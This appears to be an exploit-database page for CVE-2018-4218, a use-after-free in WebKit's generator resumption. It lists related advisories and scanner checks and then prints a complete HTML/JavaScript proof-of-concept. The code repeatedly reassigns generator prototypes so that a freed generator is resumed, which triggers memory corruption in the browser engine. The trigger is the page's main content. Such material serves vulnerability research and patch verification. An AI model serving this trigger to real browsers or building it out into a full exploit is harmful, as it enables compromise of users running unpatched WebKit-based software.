WebKit: Use-after-free when resuming generator(CVE-2018-4218)

🗓️ 08 Jun 2018 00:00:00Reported by KnownsecType

WebKit use-after-free in generator resuming (CVE-2018-4218)

Reporter	Title	Published	Views	Family All 65
0day.today	WebKit - Use-After-Free when Resuming Generator Exploit	9 Jun 201800:00	–	zdt
Tenable Nessus	Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL)	17 Apr 201900:00	–	nessus
Tenable Nessus	Apple TV < 11.4 Multiple Vulnerabilities	5 Jun 201800:00	–	nessus
Tenable Nessus	Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL)	7 Jun 201800:00	–	nessus
Tenable Nessus	Fedora 28 : webkit2gtk3 (2018-118b9abf99)	3 Jan 201900:00	–	nessus
Tenable Nessus	Fedora 27 : webkitgtk4 (2018-aac3ca8936)	2 Jul 201800:00	–	nessus
Tenable Nessus	GLSA-201808-04 : WebkitGTK+: Multiple vulnerabilities	23 Aug 201800:00	–	nessus
Tenable Nessus	Apple iTunes < 12.7.5 Multiple Vulnerabilities (credentialed check)	6 Jun 201800:00	–	nessus
Tenable Nessus	Apple iTunes < 12.7.5 Multiple Vulnerabilities (uncredentialed check)	6 Jun 201800:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 11.1.1 Multiple Vulnerabilities	2 Jul 201900:00	–	nessus


                                                <html><body><script>
print = console.log;
print("top");
var iterator;
var o = function(){print("hello")};
var a = [];
function* foo(index) {
  //print("start");

  while (1) {
    //if(index == 77){
      //  o = 0;
       // gc();        
//	index = 2;
  //      var a = [1, 2, 3, 4];
	//yield 9;
        //print("a vale " + a[0]);
    //}
    //if(index == 1){
    //index = 77;
   // print("INTERNAL CALL")
   // iterator.next();
    //index++;

    //}
    //var b = [1, 2, 3, 4];
    var q = a.pop();
    if(q){
    print("here1");
    q.__proto__ = iterator;
    q.next();
    }
    yield index++;
    //print("bval" + b[0]);
  }
}

function* foo2(){

    yield;

}

var temp = foo2(0);

for(var i = 0; i < 10; i++){

	var q = {};
	q.__proto__ = temp;
	q.next();
	q.__proto__ = {};
	a.push(q);

}
//print(a);
iterator = foo(0);


// expected output: 0




o.__proto__ = iterator;
//print("FIRST CALL")
//print(o.next().value);
//print("SECOND CALL")
//print(o.next().value);
//print("THIRD CALL")

for(var i = 0; i < 10; i++){
var q = {};
q.__proto__ = iterator;
print(q.next("hello").value);
}

//print("FOURTH CALL")
//print(iterator.next().value);
o();
</script></body></html>

08 Jun 2018 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.3084